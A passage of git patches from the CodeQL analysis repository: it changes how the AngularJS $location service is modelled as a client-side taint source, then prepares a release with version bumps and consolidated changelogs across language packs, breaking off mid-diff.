    + ` +}) +export class MinimalExampleComponent { + value$: Observable; + + constructor(private store: Store) { + this.value$ = this.store.pipe(select('someSlice')); + } +} From 076e4a49d54e302be7da9916197a07485e4e0067 Mon Sep 17 00:00:00 2001 From: Asger F Date: Tue, 27 May 2025 09:47:43 +0200 Subject: [PATCH 085/271] JS: Mark AngularJS $location as client-side remote flow source --- .../javascript/frameworks/AngularJS/AngularJSCore.qll | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll b/javascript/ql/lib/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll index a85a0a7813c..248a88e3d1c 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll @@ -550,20 +550,25 @@ class DirectiveTargetName extends string { * * See https://docs.angularjs.org/api/ng/service/$location for details. */ -private class LocationFlowSource extends RemoteFlowSource instanceof DataFlow::MethodCallNode { +private class LocationFlowSource extends ClientSideRemoteFlowSource instanceof DataFlow::MethodCallNode +{ + private ClientSideRemoteFlowKind kind; + LocationFlowSource() { exists(ServiceReference service, string m, int n | service.getName() = "$location" and this = service.getAMethodCall(m) and n = super.getNumArgument() | - m = "search" and n < 2 + m = "search" and n < 2 and kind.isQuery() or - m = "hash" and n = 0 + m = "hash" and n = 0 and kind.isFragment() ) } override string getSourceType() { result = "$location" } + + override ClientSideRemoteFlowKind getKind() { result = kind } } /** From bfb91e95e360bd931996e53f9eb25eddd403a99d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 27 May 2025 17:22:05 +0000 Subject: [PATCH 086/271] Release preparation for version 2.21.4 --- actions/ql/lib/CHANGELOG.md | 4 ++++ .../ql/lib/change-notes/released/0.4.10.md | 3 +++ actions/ql/lib/codeql-pack.release.yml | 2 +- actions/ql/lib/qlpack.yml | 2 +- actions/ql/src/CHANGELOG.md | 6 +++++ .../0.6.2.md} | 7 +++--- actions/ql/src/codeql-pack.release.yml | 2 +- actions/ql/src/qlpack.yml | 2 +- cpp/ql/lib/CHANGELOG.md | 24 +++++++++++++++++++ .../2025-05-15-class-aggregate-literals.md | 4 ---- .../2025-05-16-array-aggregate-literals.md | 4 ---- .../change-notes/2025-05-16-wmain-support.md | 4 ---- ...25-05-18-2025-May-outdated-deprecations.md | 9 ------- .../2025-05-23-windows-sources.md | 6 ----- .../2025-05-27-windows-sources-2.md | 4 ---- cpp/ql/lib/change-notes/released/5.0.0.md | 23 ++++++++++++++++++ cpp/ql/lib/codeql-pack.release.yml | 2 +- cpp/ql/lib/qlpack.yml | 2 +- cpp/ql/src/CHANGELOG.md | 6 +++++ .../1.4.1.md} | 9 +++---- cpp/ql/src/codeql-pack.release.yml | 2 +- cpp/ql/src/qlpack.yml | 2 +- .../ql/campaigns/Solorigate/lib/CHANGELOG.md | 4 ++++ .../lib/change-notes/released/1.7.41.md | 3 +++ .../Solorigate/lib/codeql-pack.release.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/qlpack.yml | 2 +- .../ql/campaigns/Solorigate/src/CHANGELOG.md | 4 ++++ .../src/change-notes/released/1.7.41.md | 3 +++ .../Solorigate/src/codeql-pack.release.yml | 2 +- csharp/ql/campaigns/Solorigate/src/qlpack.yml | 2 +- csharp/ql/lib/CHANGELOG.md | 6 +++++ .../5.1.7.md} | 7 +++--- csharp/ql/lib/codeql-pack.release.yml | 2 +- csharp/ql/lib/qlpack.yml | 2 +- csharp/ql/src/CHANGELOG.md | 9 +++++++ .../2025-04-10-uncontrolled-format-string.md | 4 ---- .../2025-05-15-gethashcode-is-not-defined.md | 4 ---- .../2025-05-16-hardcoded-credentials.md | 4 ---- .../2025-05-22-missed-readonly-modifier.md | 4 ---- csharp/ql/src/change-notes/released/1.2.1.md | 8 +++++++ csharp/ql/src/codeql-pack.release.yml | 2 +- csharp/ql/src/qlpack.yml | 2 +- go/ql/consistency-queries/CHANGELOG.md | 4 ++++ .../change-notes/released/1.0.24.md | 3 +++ .../codeql-pack.release.yml | 2 +- go/ql/consistency-queries/qlpack.yml | 2 +- go/ql/lib/CHANGELOG.md | 4 ++++ go/ql/lib/change-notes/released/4.2.6.md | 3 +++ go/ql/lib/codeql-pack.release.yml | 2 +- go/ql/lib/qlpack.yml | 2 +- go/ql/src/CHANGELOG.md | 6 +++++ .../1.2.1.md} | 7 +++--- go/ql/src/codeql-pack.release.yml | 2 +- go/ql/src/qlpack.yml | 2 +- java/ql/lib/CHANGELOG.md | 7 ++++++ ...2025-05-22-spring-request-mapping-value.md | 4 ---- .../7.3.0.md} | 8 ++++--- java/ql/lib/codeql-pack.release.yml | 2 +- java/ql/lib/qlpack.yml | 2 +- java/ql/src/CHANGELOG.md | 6 +++++ .../1.5.1.md} | 7 +++--- java/ql/src/codeql-pack.release.yml | 2 +- java/ql/src/qlpack.yml | 2 +- javascript/ql/lib/CHANGELOG.md | 6 +++++ .../2.6.4.md} | 7 +++--- javascript/ql/lib/codeql-pack.release.yml | 2 +- javascript/ql/lib/qlpack.yml | 2 +- javascript/ql/src/CHANGELOG.md | 6 +++++ .../1.6.1.md} | 7 +++--- javascript/ql/src/codeql-pack.release.yml | 2 +- javascript/ql/src/qlpack.yml | 2 +- misc/suite-helpers/CHANGELOG.md | 4 ++++ .../change-notes/released/1.0.24.md | 3 +++ misc/suite-helpers/codeql-pack.release.yml | 2 +- misc/suite-helpers/qlpack.yml | 2 +- python/ql/lib/CHANGELOG.md | 6 +++++ .../4.0.8.md} | 6 ++--- python/ql/lib/codeql-pack.release.yml | 2 +- python/ql/lib/qlpack.yml | 2 +- python/ql/src/CHANGELOG.md | 6 +++++ .../1.5.1.md} | 7 +++--- python/ql/src/codeql-pack.release.yml | 2 +- python/ql/src/qlpack.yml | 2 +- ruby/ql/lib/CHANGELOG.md | 12 ++++++++++ ...5-13-captured-variables-live-more-often.md | 4 ---- .../4.1.7.md} | 11 ++++++--- ruby/ql/lib/codeql-pack.release.yml | 2 +- ruby/ql/lib/qlpack.yml | 2 +- ruby/ql/src/CHANGELOG.md | 6 +++++ .../1.3.1.md} | 7 +++--- ruby/ql/src/codeql-pack.release.yml | 2 +- ruby/ql/src/qlpack.yml | 2 +- rust/ql/lib/CHANGELOG.md | 4 ++++ rust/ql/lib/change-notes/released/0.1.9.md | 3 +++ rust/ql/lib/codeql-pack.release.yml | 2 +- rust/ql/lib/qlpack.yml | 2 +- rust/ql/src/CHANGELOG.md | 4 ++++ rust/ql/src/change-notes/released/0.1.9.md | 3 +++ rust/ql/src/codeql-pack.release.yml | 2 +- rust/ql/src/qlpack.yml | 2 +- shared/controlflow/CHANGELOG.md | 4 ++++ .../change-notes/released/2.0.8.md | 3 +++ shared/controlflow/codeql-pack.release.yml | 2 +- shared/controlflow/qlpack.yml | 2 +- shared/dataflow/CHANGELOG.md | 4 ++++ .../dataflow/change-notes/released/2.0.8.md | 3 +++ shared/dataflow/codeql-pack.release.yml | 2 +- shared/dataflow/qlpack.yml | 2 +- shared/mad/CHANGELOG.md | 4 ++++ shared/mad/change-notes/released/1.0.24.md | 3 +++ shared/mad/codeql-pack.release.yml | 2 +- shared/mad/qlpack.yml | 2 +- shared/quantum/CHANGELOG.md | 4 ++++ shared/quantum/change-notes/released/0.0.2.md | 3 +++ shared/quantum/codeql-pack.release.yml | 2 +- shared/quantum/qlpack.yml | 2 +- shared/rangeanalysis/CHANGELOG.md | 4 ++++ .../change-notes/released/1.0.24.md | 3 +++ shared/rangeanalysis/codeql-pack.release.yml | 2 +- shared/rangeanalysis/qlpack.yml | 2 +- shared/regex/CHANGELOG.md | 4 ++++ shared/regex/change-notes/released/1.0.24.md | 3 +++ shared/regex/codeql-pack.release.yml | 2 +- shared/regex/qlpack.yml | 2 +- shared/ssa/CHANGELOG.md | 6 +++++ .../2.0.0.md} | 7 +++--- shared/ssa/codeql-pack.release.yml | 2 +- shared/ssa/qlpack.yml | 2 +- shared/threat-models/CHANGELOG.md | 4 ++++ .../change-notes/released/1.0.24.md | 3 +++ shared/threat-models/codeql-pack.release.yml | 2 +- shared/threat-models/qlpack.yml | 2 +- shared/tutorial/CHANGELOG.md | 4 ++++ .../tutorial/change-notes/released/1.0.24.md | 3 +++ shared/tutorial/codeql-pack.release.yml | 2 +- shared/tutorial/qlpack.yml | 2 +- shared/typeflow/CHANGELOG.md | 4 ++++ .../typeflow/change-notes/released/1.0.24.md | 3 +++ shared/typeflow/codeql-pack.release.yml | 2 +- shared/typeflow/qlpack.yml | 2 +- shared/typeinference/CHANGELOG.md | 4 ++++ .../change-notes/released/0.0.5.md | 3 +++ shared/typeinference/codeql-pack.release.yml | 2 +- shared/typeinference/qlpack.yml | 2 +- shared/typetracking/CHANGELOG.md | 4 ++++ .../change-notes/released/2.0.8.md | 3 +++ shared/typetracking/codeql-pack.release.yml | 2 +- shared/typetracking/qlpack.yml | 2 +- shared/typos/CHANGELOG.md | 4 ++++ shared/typos/change-notes/released/1.0.24.md | 3 +++ shared/typos/codeql-pack.release.yml | 2 +- shared/typos/qlpack.yml | 2 +- shared/util/CHANGELOG.md | 4 ++++ shared/util/change-notes/released/2.0.11.md | 3 +++ shared/util/codeql-pack.release.yml | 2 +- shared/util/qlpack.yml | 2 +- shared/xml/CHANGELOG.md | 4 ++++ shared/xml/change-notes/released/1.0.24.md | 3 +++ shared/xml/codeql-pack.release.yml | 2 +- shared/xml/qlpack.yml | 2 +- shared/yaml/CHANGELOG.md | 4 ++++ shared/yaml/change-notes/released/1.0.24.md | 3 +++ shared/yaml/codeql-pack.release.yml | 2 +- shared/yaml/qlpack.yml | 2 +- swift/ql/lib/CHANGELOG.md | 17 +++++++++++++ .../2025-05-14-type_value_expr_cfg.md | 4 ---- .../change-notes/2025-05-27-swift.6.1.1.md | 5 ---- .../5.0.0.md} | 12 +++++++--- swift/ql/lib/codeql-pack.release.yml | 2 +- swift/ql/lib/qlpack.yml | 2 +- swift/ql/src/CHANGELOG.md | 6 +++++ .../1.1.4.md} | 7 +++--- swift/ql/src/codeql-pack.release.yml | 2 +- swift/ql/src/qlpack.yml | 2 +- 174 files changed, 483 insertions(+), 190 deletions(-) create mode 100644 actions/ql/lib/change-notes/released/0.4.10.md rename actions/ql/src/change-notes/{2025-05-14-minimal-permission-for-add-to-project.md => released/0.6.2.md} (84%) delete mode 100644 cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md delete mode 100644 cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md delete mode 100644 cpp/ql/lib/change-notes/2025-05-16-wmain-support.md delete mode 100644 cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md delete mode 100644 cpp/ql/lib/change-notes/2025-05-23-windows-sources.md delete mode 100644 cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md create mode 100644 cpp/ql/lib/change-notes/released/5.0.0.md rename cpp/ql/src/change-notes/{2025-05-14-openssl-sqlite-models.md => released/1.4.1.md} (65%) create mode 100644 csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md create mode 100644 csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md rename csharp/ql/lib/change-notes/{2025-05-14-dotnet-models.md => released/5.1.7.md} (78%) delete mode 100644 csharp/ql/src/change-notes/2025-04-10-uncontrolled-format-string.md delete mode 100644 csharp/ql/src/change-notes/2025-05-15-gethashcode-is-not-defined.md delete mode 100644 csharp/ql/src/change-notes/2025-05-16-hardcoded-credentials.md delete mode 100644 csharp/ql/src/change-notes/2025-05-22-missed-readonly-modifier.md create mode 100644 csharp/ql/src/change-notes/released/1.2.1.md create mode 100644 go/ql/consistency-queries/change-notes/released/1.0.24.md create mode 100644 go/ql/lib/change-notes/released/4.2.6.md rename go/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.2.1.md} (64%) delete mode 100644 java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md rename java/ql/lib/change-notes/{2025-05-16-shared-basicblocks.md => released/7.3.0.md} (72%) rename java/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.5.1.md} (67%) rename javascript/ql/lib/change-notes/{2025-04-29-combined-es6-func.md => released/2.6.4.md} (73%) rename javascript/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.6.1.md} (73%) create mode 100644 misc/suite-helpers/change-notes/released/1.0.24.md rename python/ql/lib/change-notes/{2025-04-30-extract-hidden-files-by-default.md => released/4.0.8.md} (93%) rename python/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.5.1.md} (64%) delete mode 100644 ruby/ql/lib/change-notes/2025-05-13-captured-variables-live-more-often.md rename ruby/ql/lib/change-notes/{2025-05-02-ruby-printast-order-fix.md => released/4.1.7.md} (68%) rename ruby/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.3.1.md} (64%) create mode 100644 rust/ql/lib/change-notes/released/0.1.9.md create mode 100644 rust/ql/src/change-notes/released/0.1.9.md create mode 100644 shared/controlflow/change-notes/released/2.0.8.md create mode 100644 shared/dataflow/change-notes/released/2.0.8.md create mode 100644 shared/mad/change-notes/released/1.0.24.md create mode 100644 shared/quantum/change-notes/released/0.0.2.md create mode 100644 shared/rangeanalysis/change-notes/released/1.0.24.md create mode 100644 shared/regex/change-notes/released/1.0.24.md rename shared/ssa/change-notes/{2025-05-23-guards-interface.md => released/2.0.0.md} (87%) create mode 100644 shared/threat-models/change-notes/released/1.0.24.md create mode 100644 shared/tutorial/change-notes/released/1.0.24.md create mode 100644 shared/typeflow/change-notes/released/1.0.24.md create mode 100644 shared/typeinference/change-notes/released/0.0.5.md create mode 100644 shared/typetracking/change-notes/released/2.0.8.md create mode 100644 shared/typos/change-notes/released/1.0.24.md create mode 100644 shared/util/change-notes/released/2.0.11.md create mode 100644 shared/xml/change-notes/released/1.0.24.md create mode 100644 shared/yaml/change-notes/released/1.0.24.md delete mode 100644 swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md delete mode 100644 swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md rename swift/ql/lib/change-notes/{2025-05-18-2025-May-outdated-deprecations.md => released/5.0.0.md} (74%) rename swift/ql/src/change-notes/{2025-05-16-hardcoded-credentials.md => released/1.1.4.md} (71%) diff --git a/actions/ql/lib/CHANGELOG.md b/actions/ql/lib/CHANGELOG.md index 16262bfaa84..466440c3e33 100644 --- a/actions/ql/lib/CHANGELOG.md +++ b/actions/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.4.10 + +No user-facing changes. + ## 0.4.9 No user-facing changes. diff --git a/actions/ql/lib/change-notes/released/0.4.10.md b/actions/ql/lib/change-notes/released/0.4.10.md new file mode 100644 index 00000000000..9ae55e0ca34 --- /dev/null +++ b/actions/ql/lib/change-notes/released/0.4.10.md @@ -0,0 +1,3 @@ +## 0.4.10 + +No user-facing changes. diff --git a/actions/ql/lib/codeql-pack.release.yml b/actions/ql/lib/codeql-pack.release.yml index c898a5bfdcd..e0c0d3e4c2a 100644 --- a/actions/ql/lib/codeql-pack.release.yml +++ b/actions/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.4.9 +lastReleaseVersion: 0.4.10 diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml index 6e9a94292d0..c500ec3617b 100644 --- a/actions/ql/lib/qlpack.yml +++ b/actions/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-all -version: 0.4.10-dev +version: 0.4.10 library: true warnOnImplicitThis: true dependencies: diff --git a/actions/ql/src/CHANGELOG.md b/actions/ql/src/CHANGELOG.md index 5779691947e..687df395d28 100644 --- a/actions/ql/src/CHANGELOG.md +++ b/actions/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 0.6.2 + +### Minor Analysis Improvements + +* The query `actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions `deploy-pages`, `delete-package-versions`, `ai-inference`. This should lead to better alert messages and better fix suggestions. + ## 0.6.1 No user-facing changes. diff --git a/actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md b/actions/ql/src/change-notes/released/0.6.2.md similarity index 84% rename from actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md rename to actions/ql/src/change-notes/released/0.6.2.md index 8d6c87fe7a7..062fb0f6f91 100644 --- a/actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md +++ b/actions/ql/src/change-notes/released/0.6.2.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 0.6.2 + +### Minor Analysis Improvements + * The query `actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions `deploy-pages`, `delete-package-versions`, `ai-inference`. This should lead to better alert messages and better fix suggestions. diff --git a/actions/ql/src/codeql-pack.release.yml b/actions/ql/src/codeql-pack.release.yml index 80fb0899f64..5501a2a1cc5 100644 --- a/actions/ql/src/codeql-pack.release.yml +++ b/actions/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.6.1 +lastReleaseVersion: 0.6.2 diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml index 49f4f30f7da..5c2a1dfbb1f 100644 --- a/actions/ql/src/qlpack.yml +++ b/actions/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-queries -version: 0.6.2-dev +version: 0.6.2 library: false warnOnImplicitThis: true groups: [actions, queries] diff --git a/cpp/ql/lib/CHANGELOG.md b/cpp/ql/lib/CHANGELOG.md index 4ad53d108e2..67339c22ef0 100644 --- a/cpp/ql/lib/CHANGELOG.md +++ b/cpp/ql/lib/CHANGELOG.md @@ -1,3 +1,27 @@ +## 5.0.0 + +### Breaking Changes + +* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`. +* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`. +* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`. + +### New Features + +* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`. +* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources. +* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`. +* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`. +* Added support for `wmain` as part of the ArgvSource model. + +### Bug Fixes + +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s. +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s. + ## 4.3.1 ### Bug Fixes diff --git a/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md b/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md deleted file mode 100644 index ea821d7d48d..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: fix ---- -* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s. \ No newline at end of file diff --git a/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md b/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md deleted file mode 100644 index a1aec0a695a..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: fix ---- -* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s. \ No newline at end of file diff --git a/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md b/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md deleted file mode 100644 index bdc369bfedd..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: feature ---- -* Added support for `wmain` as part of the ArgvSource model. \ No newline at end of file diff --git a/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md b/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md deleted file mode 100644 index b1a31ea6eb5..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -category: breaking ---- -* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`. -* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`. -* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`. -* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`. -* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`. -* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`. diff --git a/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md b/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md deleted file mode 100644 index e07dcbe8598..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -category: feature ---- -* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources. -* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`. -* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`. diff --git a/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md b/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md deleted file mode 100644 index 423a1a424f9..00000000000 --- a/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: feature ---- -* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`. \ No newline at end of file diff --git a/cpp/ql/lib/change-notes/released/5.0.0.md b/cpp/ql/lib/change-notes/released/5.0.0.md new file mode 100644 index 00000000000..212cb2bdd96 --- /dev/null +++ b/cpp/ql/lib/change-notes/released/5.0.0.md @@ -0,0 +1,23 @@ +## 5.0.0 + +### Breaking Changes + +* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`. +* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`. +* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`. + +### New Features + +* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`. +* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources. +* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`. +* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`. +* Added support for `wmain` as part of the ArgvSource model. + +### Bug Fixes + +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s. +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s. diff --git a/cpp/ql/lib/codeql-pack.release.yml b/cpp/ql/lib/codeql-pack.release.yml index 70ac3707fcd..c9e54136ca5 100644 --- a/cpp/ql/lib/codeql-pack.release.yml +++ b/cpp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.3.1 +lastReleaseVersion: 5.0.0 diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index e15623e2ddb..f5c88301895 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-all -version: 4.3.2-dev +version: 5.0.0 groups: cpp dbscheme: semmlecode.cpp.dbscheme extractor: cpp diff --git a/cpp/ql/src/CHANGELOG.md b/cpp/ql/src/CHANGELOG.md index f9880ce5764..49bf1f975ee 100644 --- a/cpp/ql/src/CHANGELOG.md +++ b/cpp/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.4.1 + +### Minor Analysis Improvements + +* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. + ## 1.4.0 ### Query Metadata Changes diff --git a/cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md b/cpp/ql/src/change-notes/released/1.4.1.md similarity index 65% rename from cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md rename to cpp/ql/src/change-notes/released/1.4.1.md index c03bd600ac9..7d1ba66b92e 100644 --- a/cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md +++ b/cpp/ql/src/change-notes/released/1.4.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- -* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. \ No newline at end of file +## 1.4.1 + +### Minor Analysis Improvements + +* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. diff --git a/cpp/ql/src/codeql-pack.release.yml b/cpp/ql/src/codeql-pack.release.yml index b8b2e97d508..43ccf4467be 100644 --- a/cpp/ql/src/codeql-pack.release.yml +++ b/cpp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.4.0 +lastReleaseVersion: 1.4.1 diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml index 07c7cb32249..aa04ab588e4 100644 --- a/cpp/ql/src/qlpack.yml +++ b/cpp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-queries -version: 1.4.1-dev +version: 1.4.1 groups: - cpp - queries diff --git a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md index f177ccf403e..0a441eeacb2 100644 --- a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.7.41 + +No user-facing changes. + ## 1.7.40 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md new file mode 100644 index 00000000000..b99dc457ba9 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.41.md @@ -0,0 +1,3 @@ +## 1.7.41 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml index 47c67a0a4d3..2eee1633d76 100644 --- a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.40 +lastReleaseVersion: 1.7.41 diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml index 6c3519f4785..e4e790c02b4 100644 --- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-all -version: 1.7.41-dev +version: 1.7.41 groups: - csharp - solorigate diff --git a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md index f177ccf403e..0a441eeacb2 100644 --- a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.7.41 + +No user-facing changes. + ## 1.7.40 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md new file mode 100644 index 00000000000..b99dc457ba9 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.41.md @@ -0,0 +1,3 @@ +## 1.7.41 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml index 47c67a0a4d3..2eee1633d76 100644 --- a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.40 +lastReleaseVersion: 1.7.41 diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml index 